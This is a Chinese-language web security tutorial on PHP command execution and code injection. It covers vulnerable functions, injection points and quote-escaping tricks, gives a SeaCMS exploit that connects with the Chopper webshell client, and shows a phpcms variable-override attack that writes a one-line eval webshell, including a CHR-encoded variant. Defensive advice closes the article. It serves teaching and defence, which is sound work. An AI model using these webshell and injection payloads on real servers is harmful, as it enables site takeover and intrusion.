您好,登錄后才能下訂單哦!
0x01:命令執(zhí)行漏洞簡(jiǎn)介
用戶通過瀏覽器提交執(zhí)行命令,由于服務(wù)器端沒有針對(duì)執(zhí)行函數(shù)做過濾,導(dǎo)致在沒有指定絕對(duì)路徑的情況下就執(zhí)行命令,可能會(huì)允許使用者通過改變 $PATH 或程序執(zhí)行環(huán)境的其他方面來執(zhí)行一個(gè)惡意構(gòu)造的代碼
0x02:命令執(zhí)行 VS 代碼執(zhí)行
1. 命令執(zhí)行漏洞:
直接調(diào)用操作系統(tǒng)命令
2. 代碼執(zhí)行漏洞:
靠執(zhí)行腳本代碼調(diào)用操作系統(tǒng)命令
命令執(zhí)行原理:
在操作系統(tǒng)中,“&、|、||”都可以作為命令連接符使用,用戶通過瀏覽器提交執(zhí)行命令,由于服務(wù)器端沒有針對(duì)執(zhí)行函數(shù)做過濾,導(dǎo)致在沒有指定絕對(duì)路徑的情況下就執(zhí)行命令
代碼執(zhí)行原理:
應(yīng)用有時(shí)需要調(diào)用一些執(zhí)行系統(tǒng)命令的函數(shù),如PHP中的system、exec、assert、shell_exec、passthru、popen、proc_popen
escapeshellcmd、pcntl_exec等,當(dāng)用戶能控制這些函數(shù)中的參數(shù)時(shí),就可以將惡意系統(tǒng)命令拼接到正常命令中,從而造成命令執(zhí)行***,這就是命令執(zhí)行漏洞。以上函數(shù)主要也在webshell中用的多,實(shí)際上在正常應(yīng)用中差別不太大,用得最多的還是前三個(gè)。
0x03:命令執(zhí)行漏洞利用條件
應(yīng)用調(diào)用執(zhí)行系統(tǒng)命令的函數(shù)
將用戶輸入作為系統(tǒng)命令的參數(shù)拼接到了命令行中
沒有對(duì)用戶輸入進(jìn)行過濾或過濾不嚴(yán)
0x04:命令執(zhí)行漏洞分類
1.代碼層過濾不嚴(yán)
商業(yè)應(yīng)用的一些核心代碼封裝在二進(jìn)制文件中,在web應(yīng)用中通過system函來調(diào)用:
system("/bin/program --arg$arg");
2.系統(tǒng)的漏洞造成命令注入
bash破殼漏洞(CVE-2014-6271)
3.調(diào)用的第三方組件存在代碼執(zhí)行漏洞
如WordPress中用來處理圖片的ImageMagick組件
JAVA中的命令執(zhí)行漏洞(struts2/ElasticsearchGroovy等)
ThinkPHP命令執(zhí)行
0x05:命令函數(shù)的利用
1. System:system函數(shù)可以用來執(zhí)行一個(gè)外部的應(yīng)用程序并將相應(yīng)的執(zhí)行結(jié)果輸出,函數(shù)原型如下:
string system(string command, int&return_var)
其中,command是要執(zhí)行的命令,return_var存放執(zhí)行命令的執(zhí)行后的狀態(tài)值。
2. Exec:exec函數(shù)可以用來執(zhí)行一個(gè)外部的應(yīng)用程序
string exec (string command, array&output, int &return_var)
其中,command是要執(zhí)行的命令,output是獲得執(zhí)行命令輸出的每一行字符串,return_var存放執(zhí)行命令后的狀態(tài)值。
3.Passthru:passthru函數(shù)可以用來執(zhí)行一個(gè)UNIX系統(tǒng)命令并顯示原始的輸出,當(dāng)UNIX系統(tǒng)命令的輸出是二進(jìn)制的數(shù)據(jù),并且需要直接返回值給瀏覽器時(shí),需要使用passthru函數(shù)來替代system與exec函數(shù)。Passthru函數(shù)原型如下:
void passthru (string command, int&return_var)
其中,command是要執(zhí)行的命令,return_var存放執(zhí)行命令后的狀態(tài)值。
4. Shell_exec:執(zhí)行shell命令并返回輸出的字符串,函數(shù)原型如下:
string shell_exec (string command)
其中,command是要執(zhí)行的命令。
0x06:命令常見可控位置
常見可控位置情況有下面幾種:
system("$arg");
//可控點(diǎn)直接是待執(zhí)行的程序
system("/bin/prog $arg");
//可控點(diǎn)是傳入程序的整個(gè)參數(shù)
system("/bin/prog -p $arg");
//可控點(diǎn)是傳入程序的某個(gè)參數(shù)的值(無引號(hào)包裹)
system("/bin/prog --p=\"$arg\"");
//可控點(diǎn)是傳入程序的某個(gè)參數(shù)的值(有雙引號(hào)包裹)
system("/bin/prog --p='$arg'");
//可控點(diǎn)是傳入程序的某個(gè)參數(shù)的值(有單引號(hào)包裹)
sys=ctypes.cdll.LoadLibrary('/lib64/libc.so.6') sys.system(cmd)
如果我們能直接控制$arg,那么就能執(zhí)行執(zhí)行任意命令了,沒太多好說的。
我們能夠控制的點(diǎn)是程序的整個(gè)參數(shù),我們可以直接用&& || 或 | 等等,利用與、或、管道命令來執(zhí)行其他命令(可以涉及到很多l(xiāng)inux命令行技巧)。
還有一個(gè)偏門情況,當(dāng)$arg被 escapeshellcmd處理之后,我們不能越出這個(gè)外部程序的范圍,我們可以看看這個(gè)程序自身是否有“執(zhí)行外部命令”的參數(shù)或功能,比如linux下的sendmail 命令自帶讀寫文件功能,我們可以用來寫webshell。
我們控制的點(diǎn)是一個(gè)參數(shù),我們也同樣可以利用與、或、管道來執(zhí)行其他命令,情境與二無異。
這種情況壓力大一點(diǎn),有雙引號(hào)包裹。如果引號(hào)沒有被轉(zhuǎn)義,我們可以先閉合引號(hào),成為第三種情況后按照第三種情況來利用,如果引號(hào)被轉(zhuǎn)義(addslashes),我們也不必著急。linux shell 環(huán)境下雙引號(hào)中間的變量也是可以被解析的,我們可以在雙引號(hào)內(nèi)利用反引號(hào)執(zhí)行任意命令 `id`
這是最難受的一種情況了,因?yàn)閱我?hào)內(nèi)只是一個(gè)字符串,我們要先閉合單引號(hào)才可以執(zhí)行命令。如:system("/bin/prog –p='aaa' | id")
危害自然不言而喻,執(zhí)行命令可以讀寫文件、反彈shell、獲得系統(tǒng)權(quán)限、內(nèi)網(wǎng)***等。
在漏洞檢測(cè)中,除了有回顯的命令注入(比如執(zhí)行dir 命令或者cat 讀取系統(tǒng)文件);還可以使用盲打的方式,比如curl遠(yuǎn)程機(jī)器的某個(gè)目錄(看access.log),或者通過dns解析的方式獲取到漏洞機(jī)器發(fā)出的請(qǐng)求。
0x07:命令漏洞危害
繼承Web服務(wù)程序的權(quán)限去執(zhí)行系統(tǒng)命令或讀 - 寫文件
反彈shell
控制整個(gè)網(wǎng)站甚至控制服務(wù)器
進(jìn)一步內(nèi)網(wǎng)橫向***
0x08:海洋cms實(shí)例
命令執(zhí)行常用的函數(shù),eval(),system(),proc_open()之類的,因此能執(zhí)行php代碼一般就是 eval() 函數(shù)
,
搜索一下這個(gè)頁面有eval函數(shù)的地方
for($m=0;$m<$arlen;$m++){ $strIf=$iar[1][$m]; $strIf=$this->parseStrIf($strIf); $strThen=$iar[2][$m]; $strThen=$this->parseSubIf($strThen); if (strpos($strThen,$labelRule2)===false){ if(strpos($strThen,$labelRule3)>=0){ $elsearray=explode($labelRule3,$strThen); $strThen1=$elsearray[0]; $strElse1=$elsearray[1]; @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}"); if ($ifFlag){$content=str_replace($iar[0][$m],$strThen1,$content);} else{$content=str_replace($iar[0][$m],$strElse1,$content);} }else{ @eval("if(".$strIf.") { \$ifFlag=true;} else{\$ifFlag=false;}"); if ($ifFlag)$content=str_replace($iar[0][$m],$strThen,$content); else$content=str_replace($iar[0][$m],"",$content);}
可以在這里下個(gè)斷點(diǎn),把變量打印出來
就可以清晰的看到就是在這執(zhí)行了我們的命令
http://192.168.0.37search.php?searchtype=5&tid=&area=eval($_POST[cmd])
菜刀連接
0x09:命令執(zhí)行漏洞常見繞過
0x10:命令執(zhí)行漏洞防御
1.盡量不要使用系統(tǒng)執(zhí)行命令
2.在進(jìn)入執(zhí)行命令函數(shù)方法之前,變量一定要做好過濾,對(duì)敏感字符進(jìn)行轉(zhuǎn)義
3.在使用動(dòng)態(tài)函數(shù)之前,確保使用的函數(shù)是指定的函數(shù)之一
4.對(duì)PHP語言來說,不能完全控制的危險(xiǎn)函數(shù)最好不要使用
當(dāng)應(yīng)用在調(diào)用一些能將字符串轉(zhuǎn)化成代碼的函數(shù)(如php中的eval)時(shí),沒有考慮用戶是否能控制這個(gè)字符串,將造成代碼注入漏洞。
幾種常用語言,都有將字符串轉(zhuǎn)化成代碼去執(zhí)行的相關(guān)函數(shù),如:
PHP:eval、assert
Javascript:eval
Vbscript: Execute、Eval
Python:exec
Java:Java中沒有類似php中eval 函數(shù)這種直接可以將字符串轉(zhuǎn)化為代碼執(zhí)行的函數(shù),但是有反射機(jī)制,并且有各種基于反射機(jī)制的表達(dá)式引擎,如:OGNL、SpEL、MVEL等,這些都能造成代碼執(zhí)行漏洞
應(yīng)用有時(shí)候會(huì)考慮靈活性、簡(jiǎn)潔性,在代碼中調(diào)用eval之類的函數(shù)去處理。如phpcms中很常用的string2array 函數(shù):
function string2array($data) {if($data == '') return array();@eval("\$array = $data;");return $array;}
PHP中能造成代碼注入的主要函數(shù): eval
、 preg_replace + /e模式
、assert
用的一般就是前兩者,CMS中很少用到assert的,至于一些偏門函數(shù)就更少了,用的情況僅限于留后門。 常見用法也有如下一些:
eval("\$ret = $data;"); eval("\$ret = deal('$data');"); eval("\$ret = deal("$data");"); preg_replace('/<data>(.*)</data>/e', '$ret = "\\1";'); preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']); ?>
第一個(gè)就是剛才之前說phpcms 的,通常$data不會(huì)直接來自POST或GET變量(要不也太水了),但通過一些二次漏洞很可能能夠造出代碼執(zhí)行(如SQL注入)。 第二個(gè)是將$data使用一個(gè)函數(shù)(deal)處理后再賦值給$ret。那么,傳參的方式就很重要了。第二個(gè)用的是單引號(hào)傳參,那么我們只能先閉合單引號(hào),之后才能注入代碼。如果應(yīng)用全局做了addslashes或GPC=on的話,就不能夠注入代碼了。 第三個(gè)與第二個(gè)類似,但使用的是雙引號(hào)傳參。雙引號(hào)在代碼中有個(gè)很重要的特性,它能解析其中的函數(shù),如我們傳入${phpinfo()}
,phpinfo將會(huì)被執(zhí)行,而得到的返回值作為參數(shù)傳入deal 函數(shù)。這個(gè)時(shí)候,我們就不用考慮閉合引號(hào)的事了。 第四個(gè)是preg_replace函數(shù)的誤用,這種用法出現(xiàn)的情況是最多的,也是因?yàn)閜reg_replace第二個(gè)參數(shù)中,包裹正則結(jié)果\\1的是雙引號(hào),通過第三個(gè)中的方式,也能執(zhí)行任意代碼。
注意,第五個(gè)示例中包裹\\1 的可以是雙引號(hào)或者單引號(hào),都可以造成命令執(zhí)行,提交 h=[php]phpinfo()[/php]
。
php curly syntax: ${`ls`} 它將執(zhí)行花括號(hào)內(nèi)的代碼,并將結(jié)果替換回去。
index.php?userid=abc&menu=xxx
我們?cè)L問時(shí)填的 userid 在數(shù)據(jù)庫是查找不到的,這樣無法從數(shù)據(jù)庫返回結(jié)果中 extract 出 $menu 變量的定義,在但最開始 程序會(huì)把 $_GET 獲取到的參數(shù)都 extract 出來,這樣的話 menu 變量的值可以由我們控制,
由于 $menu 不為空,如果 menu=phpinfo(); exit();
內(nèi)部執(zhí)行 string2array 函數(shù),
eval("\$arr=$data");
時(shí)會(huì) 執(zhí)行命令,即 eval("\$arr=phpinfo();exit();");
進(jìn)一步地,我們可以將一句話***寫成 webshell 文件放到網(wǎng)站服務(wù)器目錄下
一句話*** <?php eval($_GET['func']($_GET['cmd'])); ?>
menu=file_put_contents('shell.php', ' <?php eval($_GET['func']($_GET['cmd'])); ?> ')
為了防止轉(zhuǎn)義等導(dǎo)致命令執(zhí)行不成功,可以用 ascii 碼形式,即
index.php?userid=abc&menu=file_put_contents(CHR(115).CHR(104).CHR(101).CHR(108).CHR(108).CHR(42).CHR(112).CHR(104).CHR(112), ...);exit()
下次我們可以直接訪問 shell.php?func=system&cmd=dir
,執(zhí)行php 代碼 system(dir)
。
類似會(huì)造成變量覆蓋的函數(shù)還有:import_request_variables(), parse_str() 等
能使用json 保存數(shù)組、對(duì)象就使用json,不要將php對(duì)象保存成字符串,否則讀取的時(shí)候需要使用eval。將字符串轉(zhuǎn)化為對(duì)象的過程其實(shí)是將數(shù)據(jù)轉(zhuǎn)化為代碼的過程,這個(gè)過程很容易出現(xiàn)漏洞,像php的unserialize 導(dǎo)致代碼執(zhí)行、struts2的ognl 命令執(zhí)行等漏洞都是這個(gè)過程導(dǎo)致的。
對(duì)于必須使用eval 的情況,一定要保證用戶不能輕易接觸eval 的參數(shù)(或用正則嚴(yán)格判斷輸入的數(shù)據(jù)格式)。對(duì)于字符串,一定要使用單引號(hào)包裹可控代碼,并再插入前進(jìn)行addslashes,這樣就無法閉合單引號(hào),又因?yàn)椴皇请p引號(hào)包裹,故不能執(zhí)行 ${} 。evil('${phpinfo()}')
、evil("phpinfo()")
等都不會(huì)執(zhí)行, evil("${phpinfo()}")
、evil(phpinfo())
、evil(${@phpinfo()})
都可以執(zhí)行,因?yàn)殡p引號(hào)里面內(nèi)容會(huì)被當(dāng)作變量解析一次,函數(shù)前加 @ 表示執(zhí)行函數(shù)時(shí)不報(bào)錯(cuò)。$data = addslashes($data);eval("\$data = deal('$data');");
放棄使用preg_replace 的e修飾符,而換用 preg_replace_callback 替代。如果非要使用preg_replace的e模式的話,請(qǐng)保證第二個(gè)參數(shù)中,對(duì)于正則匹配出的對(duì)象,用單引號(hào)包裹(第4個(gè)示例)。
確保register_globals = off, 若不能自定義php.ini,則應(yīng)該在代碼中控制;其次,熟悉可能造成變量覆蓋的函數(shù)和方法,檢查用戶是否能控制變量的來源;最后,養(yǎng)成初始化變量的好習(xí)慣。
能夠往本地寫入的函數(shù)都需要重點(diǎn)關(guān)注,如 file_put_contents(), fwrite(), fputs() 等。
在自動(dòng)化漏洞檢測(cè)中可以 直接帶入類似 ";print(md5(test));$a="
,匹配返回頁面是否有 md5 字符串。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。